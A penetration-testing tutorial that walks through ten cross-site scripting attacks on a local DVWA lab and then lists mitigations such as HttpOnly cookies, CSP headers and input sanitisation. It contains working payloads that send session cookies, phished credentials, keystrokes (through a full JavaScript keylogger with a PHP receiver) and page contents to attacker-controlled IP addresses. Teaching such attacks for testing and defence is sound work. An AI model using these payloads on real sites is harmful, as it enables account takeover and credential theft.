10 Practical scenarios for XSS attacks
- Article tags
As a penetration tester, you want your customers to understand the risk associated with the vulnerabilities you discover.
The most effective way to achieve this is by crafting a compelling PoC in which you show how attackers can exploit application security vulnerabilities and impact businesses.
In this article, you’ll learn how to create XSS attack PoCs and get actionable advice on how to:
Let’s delve into these 10 practical attack scenarios with helpful examples that highlight the real risk of cross-site scripting (XSS) vulnerabilities.
Cross-site scripting is a security vulnerability in web applications that lets the attacker inject and run a malicious script into a legitimate web page.
As you know, browsers can display HTML and execute JavaScript. So, if the application does not escape special characters in the input/output and reflects user input as-is back to the browser, an adversary can successfully launch a cross-site scripting attack.
Now let’s get to the practical side of things!
3 common types of XSS attacks
XSS attacks can target various parts of a web application, such as the web browser, web server, and their components like HTML <script>
tags and CSS code.
In addition, we also need to examine browser APIs, HTML <img>
tags, other HTML elements, HTTP headers, cookies, form fields, the DOM, and some others.
All the real-world scenarios I’ll show you fall under the top 3 most common types of cross-site scripting attacks described below.
For each one, I’ll focus on:
The main attack vectors for each XSS attack
Understanding an injection attack with malicious JavaScript
What a crafted malicious payload looks like
How to add malicious content to the HTML.
1. Reflected XSS attacks
Also named non-persistent XSS attacks, these are the simplest form of cross-site scripting attacks. They only involve one HTTP request and response. Yes, they’re that simple, which makes them the most frequent form of XSS attacks.
To trigger this attack on a vulnerable application, the pentester crafts a payload, usually in the form of a URL, and tricks the victim to click on it. Once this happens, the payload executes the malicious code through the victim’s browser.
Let’s say your website has a functionality of sorting posts by the number of votes. Your valid URL might look like this:
http://example.com/posts?sort=votes
An attacker might try to input a URL like this:
http://example.com/posts?sort=<script>alert(“XSS”)</script>
If your website is vulnerable to this type of reflected XSS attack, it will execute that code.
Some of the attack scenarios you’ll see below belong to this type of attack.
2. Persistent XSS attacks
A more complex form of XSS attack is the persistent cross-site scripting attack, also called the stored XSS attack.
OWASP dubs this “the most dangerous type of cross-site scripting attack”, which is reason enough to take it seriously.
To trigger it, the pentester crafts a payload intended to be stored server-side by the vulnerable web application. The server stores the payload and then serves it to every user. The victim executes the code when making a normal request.
So, if you have one request, it’s a reflected XSS attack. If you can store the payload from the first request to help with the second one, it’s a persistent XSS attack.
I’ll dig into more details soon. Keep reading!
3. DOM-based cross-site scripting attacks
Besides reflected and persistent XSS attacks, there are also DOM-based attacks. This kind of attack involves the Document Object Model of the victim’s browser.
So what sets this type of XSS attack apart from the others?
Don’t all XSS attacks come from the client-side code?
Don’t they all involve the DOM to some extent?
And doesn’t the application code always originate from the server-side?
Yes to all of the above! The key difference between DOM and stored or reflected XSS attacks is that the root cause of the issue resides in how the browser JavaScript handles the user input. For stored and reflected XSS attacks, the root cause is how the server handles the input.
While the reflected XSS attack is considered the most frequent and the persistent XSS attack the most dangerous, the DOM-based attack is the stealthiest.
Why? Because, as a client-side exploit, it’s hard to see from the server’s point of view, which is under the developer’s control. Therefore, it is paramount to exercise caution when dealing with a DOM-based attack.
Now that we got the theoretical part out of the way, let’s get our hands dirty!
Our setup for cross-site scripting attacks simulation
In this demo, we’ll use a locally installed version of the well-known DVWA, accessible at http://localhost:81, which simulates vulnerable apps.
The easiest way to install DVWA is to use the docker virtualization engine, with the image from Docker Hub:
docker run --rm -it -p 81:80 --platform linux/amd64vulnerables/web-dvwa
The platform argument is necessary in case your architecture differs from Linux/amd64. In order to install docker for your system, please follow the instructions at https://www.docker.com/.
After you start the container, log in with the credentials admin: password and click “Create / Reset Database”.
The DVWA page http://localhost:81/vulnerabilities/xss_r/ is affected by a reflected XSS in the name parameter. The figure below illustrates where we inject the JavaScript code <script>alert(123)</script>
and which gets reflected and executed on the response page.
Find XSS vulnerabilities for free
Check if your web applications are vulnerable to XSS attacks(No strings attached. Get a free PDF report.)
10 practical XSS attack scenarios for ethical hackers
XSS attack 1: Hijacking the user’s session
Most web applications maintain user sessions to keep track of the user across multiple HTTP requests. Typically, sessions are commonly identified through cookies or local storage key-value pairs, often denoted by names that typically incorporate terms such as “session” or “token.”
Following a successful app login, the server will send you a session cookie via the set-cookie
header. If you want to access any page within the application or submit a form, the cookie (now stored in the browser) is also included in all the requests sent to the server. This way, the server will know who you are.
Session cookies are sensitive information that, if compromised, may allow an attacker to impersonate the legitimate user and gain access to their existing web session. This attack is commonly known as session hijacking.
When the flag HttpOnly
is missing, the JavaScript code running in the browser can access the session cookies by invoking the document. cookie.
So, if you inject the following payload into our name parameter, the vulnerable page will display the current cookie value in an alert box:
http://localhost:81/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>
To steal the cookies, provide a payload to send the cookie value to the attacker-controlled website.
The following payload creates a new Image object in the DOM of the current page and sets the src
attribute to the attacker’s website. As a result, the browser makes an HTTP request to this external website (192.168.149.128
) with the URL containing the session cookie.
<script>
new Image().src="http://192.168.0.252:82/bogus.php?output="+document.cookie;
</script>
So here is the attack URL which will redirect the cookies to our server:
http://localhost:81/vulnerabilities/xss_r/?name=<script>new
Image().src="http://192.168.0.252:82/bogus.php?output="+document.cookie;</script>
When the browser receives this request, it executes the JavaScript payload, triggering a new request to 192.168.149.128
which includes the cookie value in the URL.
If you listen for an incoming connection on the attacker-controlled server (192.168.149.128
), you can see a request with cookie values (security
and PHPSESSID
) appended in the URL.
The same information is available in the /var/log/apache2/access.log
file on the server.
How to use the stolen cookie
If you access any internal page of the application and append the cookie value above to the request, you can see the page as the victim, using their session (without knowing the username and password). Basically, you take over the user’s session.
Preventing XSS in this scenario involves using the HttpOnly
cookie attribute to block access to the cookie value through JavaScript. You can set it when initializing the cookie value (via the set-cookie
header).
XSS attack 2: Performing unauthorized activities
If the HttpOnly
cookie attribute is set, we cannot steal the cookies through JavaScript. However, using the initial XSS attack, you can still perform unauthorized actions in the application on behalf of the user.
For instance, in this attack scenario, we will post a new message in the Guestbook on behalf of the victim, without their consent. For this, you need to forge an HTTP POST request to the guestbook page with the appropriate parameters using JavaScript.
The following payload will do this by using the fetch
API:
<script>
fetch('http://localhost:81/vulnerabilities/xss_s/', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'txtName=xss&mtxMessage=xss&btnSign=Sign+Guestbook'
})
</script>
Here’s what the request looks like in the browser and intercepted in Burp:
And finally, we can see that the attack worked by going to the “XSS (Stored)” page:
When executed, the script will generate a new request to add a comment acting as the user.
TikTok experienced this type of vulnerability, where malicious actors could take control of a user’s account by exploiting a combination of XSS and CSRF vulnerabilities.
They could set a new password, particularly for users who logged in to the platform via third-party apps. Luckily there is no known account takeover, and the vulnerability has been disclosed on HackerOne.
XSS attack 3: Phishing to steal user credentials
You can also use XSS to inject a form into the vulnerable page and use it to collect user credentials or other sensitive data. This turns into a phishing attack.
The payload below will inject a form with the message Please login to proceed, along with username and password input fields.
When accessing the link below, the victim enters their credentials in the injected form. Note that you can modify the payload to make it look like a legitimate form as required.
http://localhost:81/vulnerabilities/xss_r/?name=<h3>Please login to proceed</h3> <form action=http://192.168.0.252:82>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>
Once the user enters their credentials and clicks the Logon button, the request is sent to the attacker-controlled server. Here’s how:
You can see the credentials the user has (pentest: pentest) on the receiving server.
XSS attack 4: Capturing the keystrokes by injecting a keylogger
In this attack sequence, you will inject a JavaScript keylogger into the vulnerable web page to capture all the user’s keystrokes for the current page.
First, create a separate JavaScript file and host it on the attacker-controlled server. You need it because the payload is too big to add to the URL and you need to avoid encoding and escaping errors. The JavaScript file contains the following code:
//xss.js
document.onkeypress = function (evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST", "http://192.168.149.128/keylog.php", true); http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
On every keypress, a new XMLHttp request is generated and sent to the keylog.php
page hosted on the attacker-controlled server. The code in keylog.php
writes the value of the pressed keys into a file called data.txt
.
//keylog.php
<?php
if(!empty($_POST['key'])) {
$logfile = fopen('data.txt' , 'a+');
fwrite($logfile, $_POST['key']);
fclose($logfile);
}
?>
You can start a server by using a recent enough version of PHP:
php -S 127.0.0.1:8000
Now you need to call the vulnerable page with the payload from our server:
http://localhost:81/vulnerabilities/xss_r/?name=<script src="http://192.168.128.228:8000/xss.js">
Once the page loads the script, a new request is fired with every stroke of any key.
The value of the parameter key is written to the data.txt
file, as shown in the screenshot below.
During one of the engagements our pentest team did, they ran into this type of vulnerability in a form with email and name input fields.
The XSS allowed them to extract screenshots, keystrokes, cookies, and the entire HTML script, all from a logged user's perspective.
Fortunately for the customer, they couldn't gain access to the admin portal, but there's a scenario where that could happen: targeting an admin user.
XSS attack 5: Stealing sensitive information
Here’s another malicious activity you can perform through an XSS attack: to steal sensitive information from the user’s current session.
Imagine an Internet banking application is vulnerable to XSS. The attacker can read the current balance, transaction information, personal data, and more.
For this scenario, you need to create a JavaScript file on the attacker-controlled server. The file contains logic that takes a screenshot of the page where the script is running. You can use the script from this GitHub repository.
Then you need to create a PHP file on the attacker’s server, which saves the content of the png
parameter into the test.png
file.
<?php
$data = $_POST['png'];
$data = substr($data, 22);
$f = fopen("test.png", "w+");
fputs($f, base64_decode($data));
fclose($f);
Now inject the JavaScript code into the vulnerable page by tricking the user to access the following URL:
http://localhost:81/vulnerabilities/xss_r/?name=<script src="http://192.168.0.252:8000/screenshot.js">
Once the JavaScript file is loaded, the script sends the data in base64
format to the saveshot.php
file, which writes the data into the test.png
file. If you open the test.png
file, you can see the screen capture of the vulnerable page.
How to get the HTML source code
Another way to steal the page content is to get the HTML source code using getElementById
. Here is a payload that gets the innerHTML
of the guestbook_comments
element and sends it to the attacker.
<script>new Image().src="http://192.168.0.252:82/bogus.php?output="+document.getElementById('guestbook_comments').innerHTML;</script>
You can also fetch the entire page source of the page using the following payload:
<script>new Image().src="http://192.168.0.252:82/bogus.php?output="+document.body.innerHTML</script>
Decoding the received data in the Burp Decoder gives us the cleartext page source of the vulnerable page. You can see the Guestbook comments below.
Back in 2019, Fortnite experienced such a vulnerability. Using an XSS and a single sign-on vulnerability, attackers could read the players' conversations and redirect them to malicious pages to steal in-game currency.
Fortunately, no attacks exploiting this XSS were spotted in the wild and security researchers disclosed the vulnerability ethically.
XSS attack 6: Using a DOM-based XSS attack
Similar to the previous attack types, this one heavily relies on unsanitized input data, especially in the form of HTML code inserted into the DOM via JavaScript.
DVWA has a page vulnerable to DOM-based XSS attacks, at http://localhost:81/vulnerabilities/xss_d. To trigger it, use the default parameter to inject the payload:
localhost:81/vulnerabilities/xss_d/?default=<script>alert(“DOM-based XSS”)</script>
Click on an option to choose a default language. Press "Select" to insert the payload in the URL. Initiate the attack by hitting "Enter".
DuckDuckGo suffered from this vulnerability and there’s a full report about it on HackerOne. The root cause was a div.innerHTML
call with an unsanitized location.search. The final payload looked like this:
https://duckduckgo.com/50x.html?e=&atb=test%22/%3E%3Cimg%20src=x%20onerror=alert(document.domain);%3E
Fortunately for DuckDuckGo, there are no records of any attacks targeting this vulnerability.
XSS attack 7: Doing pseudo-web defacement
The attacker’s goal here is to change the appearance of a website. This may sound like a mild annoyance, but it can be a serious threat when used strategically.
Think about a website that relies on donations as its primary source of sustenance. An XSS attack can cause the donation box to fail to appear on the website.
Let’s use the trusted DVWA again to show how this attack works.
The Guestbook section for stored XSS is reminiscent of old forums or message boards.
In this case, our focus is CSS. Within the stored XSS page, enter any username and insert the following code into the Guestbook textarea
:
<body style="background-color:red;">
When injected, this code makes the background red.
Of course, the attacker may choose to do something more malicious with the XSS vulnerability, but such defacement attacks exist in the wild.
In 2018, the British NHS fell victim to a similar attack. Although it was only an inconvenience and removed swiftly, such attacks always impact the reputation of the institution or company.
In the aftermath of this incident, there were concerns about the safety of patient data.
XSS attack 8: Scanning internal ports
You can do an internal TCP port scan—the kind that Nmap does—using XSS. Naturally, the scanning process won’t be so advanced, but an attacker can still identify open ports and also exfiltrate some data.
I already talked about the concept of inserting IPs into the src
attribute of an HTML tag. However, you can also add ports to them.
Basically, if the server responds in some way to <img src=”http://[::]:port/file.jpg”></img>
, it means the port
is open.
You can use <script> and JavaScript code in a real-life attack, but, in this particular example, use the <img>
src
attribute to get an image from an HTTP server that also runs alongside DVWA.
Start by opening an HTTP server. The easiest way to do it is to call python3 -m http.server
, which will serve a simple HTTP server on port 8000 by default. There is a local image, called bird.jpg
.
On DVWA, retrigger the stored XSS attack, this time with the above <img>
HTML. It succeeds and we have “our bird”, including the confirmation that port 8000 is up and running.
XSS attack 9: Using clickjacking
Clickjacking is an attack that deceives the victim into clicking on a seemingly harmless button such as a pay button or a donation button. Instead of the expected action, the click initiates a malicious action displaying a payment option – to the attacker's account.
XSS vulnerabilities can lead to such attacks. We’ll use the stored XSS page from the DVWA again to hijack the Sign Guestbook
button.
Certain versions of the DVWA may impose a character limit on the Guestbook <textarea>
. To bypass this limitation, try this.
Place your code into a script and trigger it by writing it into the <textarea>
:
<script src="/path/to/script.js"></script>
Just make sure the path is small enough and doesn’t trigger the character limit.
Include the malicious functionality with the following code:
var original_button = document.querySelector("[name='btnSign']");
original_button.onclick = () => { alert("Clickjacking"); };
After that, click on the Sign Guestbook
button again to get this:
Clickjacking can be much more malicious than this, if, for example, you use it to trigger an XSS that requires user interaction.
The 2018 British Airways cyberattack is such an example. Threat actors exploited britishairways.com by abusing an outdated JavaScript library the site used.
They hijacked the click event on the payment page redirecting the payment information to their servers, named similarly - baways.com.
Before being disclosed, this vulnerability impacted approximately 380,000 transactions.
XSS attack 10: Distributing malvertising
Here’s another XSS attack similar in design to clickjacking. Malvertising means inserting malicious advertisements that look like regular ones. These infected ads can execute malware in the user’s browser if they click on a malicious advert from the vulnerable website.
Large-scale attacks have used malvertising because of their ability to evade detection through superficial scrutiny. Paying for Google adverts to deliver malicious files or for native advertising and impersonating public figures for cryptocurrency scams are examples of such attacks.
To launch this attack, reuse the XSS from the clickjacking scenario, but, this time, create a new element. Using a deceptive advertisement that simply says “click me”, triggers a typical alert that confirms the exploit worked.
const button = document.createElement("button");
button.innerText = "Click Me";
button.onclick = () => {alert("Malvertising");}
button.style.fontSize = "24px";
button.style.padding = "10px 20px";
button.style.position = "absolute";
button.style.top = "10%";
button.style.left = "50%";
button.style.transform = "translate(-50%, -50%)";
const firstChild = document.body.firstChild;
document.body.insertBefore(button, firstChild);
This XSS attack impacted the “Coming Soon Page & Maintenance Mode” WordPress plugin, specifically versions 1.7.8 or older. Unauthenticated users could exploit it by injecting JavaScript code into the HTML page.
The payload looks like this, encoding the actual string with String.fromCharCode
:
<script type=text/javascript>eval(String.fromCharCode(118, 97, 114, …, 59));</script>
The malvertising campaign leveraged this security flaw, which resulted in users seeing pop-ups and redirects to malicious targets. Security researchers at Wordfence disclosed this security issue.
If you prefer watching videos instead, here are 3 XSS attack scenarios Iulian explains in plain terms.
7 effective strategies to mitigate XSS vulnerabilities
Seeing the potential damage cross-site scripting vulnerabilities can cause, which helpful recommendations can you make to developers in your pentest reports?
Here are 7 of them to better secure your web apps:
1. Sanitize user input
Most XSS attacks happen when using untrusted input without validation.
The most important mitigation strategy is to always sanitize the input you receive.
This technique also applies to SQL injections.
2. Add Content Security Policy (CSP) headers
Probably one of the most efficient ways to block easy XSS vulnerabilities is to always add a CSP header.
For minimum protection, add a default-src
policy. This policy is a fallback for all CSP fetch directives. Setting it means that you are protected even if you don’t specify granular policies for other CSP fetch directives, though you still have to add other non-fetch policies. Most web frameworks offer assistance in setting up CSP policies. If you don’t use a framework, make sure to manually handle it.
If you need help, our custom Website Vulnerability Scanner can detect if the CSP header is missing, as well as certain types of XSS attacks.
Use safe functions to populate the DOM
JavaScript offers safe functions and properties to help you populate the DOM and avoid DOM-based XSS attacks.
OWASP recommends using textContent
instead of innerHTML
, as the former does not lead to code execution.
Avoid eval()
This principle holds true across various aspects of programming and it helps to keep it in mind.
Avoid the eval()
function unless you really know what you’re doing. Misusing it can lead to XSS vulnerabilities.
The even bigger problems are implicit eval() calls. These are innocuous-looking calls that actually call eval(). ESLint has rules disallowing the methods that do implicit eval()
.
Set up the HttpOnly
header
HttpOnly
is a flag which instructs the browser to restrict access to the cookie only to HTTP requests and to block access to the cookie from client-side scripts such as JavaScript. This helps you better mitigate security risks, including XSS attacks.
It’s widely supported within the standard libraries of most programming languages.
Here is a straightforward example of how to set up the HttpOnly
header in Python:
from http import cookies
cookie = cookies.SimpleCookie()
cookie['my_cookie'] = 'my_value'
cookie['my_cookie']['httponly'] = True
print(cookie.output())
Perform static analysis
Examining the code and considering the presence of an XSS vulnerability often falls short. That is why you have to use checklists and automated scanners.
While static analysis cannot catch every error, it’s a useful tool for preventing vulnerabilities like XSS. The open-source Semgrep code analyzer has rules for XSS prevention, depending on the framework used.
Make it a habit to frequently use your own website
If you’re a developer, try to look at your website from the users’ perspective. Adblockers may potentially hide advertisements, so disabling them during testing is recommended.
Surf your website with the adblocker off and eat your own dog food to discover potential flaws. It’s highly likely you’ll spot something unusual by simply performing regular checks. Plus, you can build your security skills – if you’re considering adding a new set of abilities to your resume.
Don’t settle for the easy way out. Secure your web apps against XSS attacks
Cybersecurity often looks like a battlefield. You always have to look out not just for new attacks but also for. Why? Because you can count on cybercriminals to constantly change their techniques.
That is why cross-site scripting can become a persistent problem unless you take action and keep up the ways attackers use malicious JavaScript.
Always follow the best practices from trusted cybersecurity organizations like OWASP. Dig deeper for more information on OWASP’s Cross-Site Scripting page.
And don’t forget about sanitization!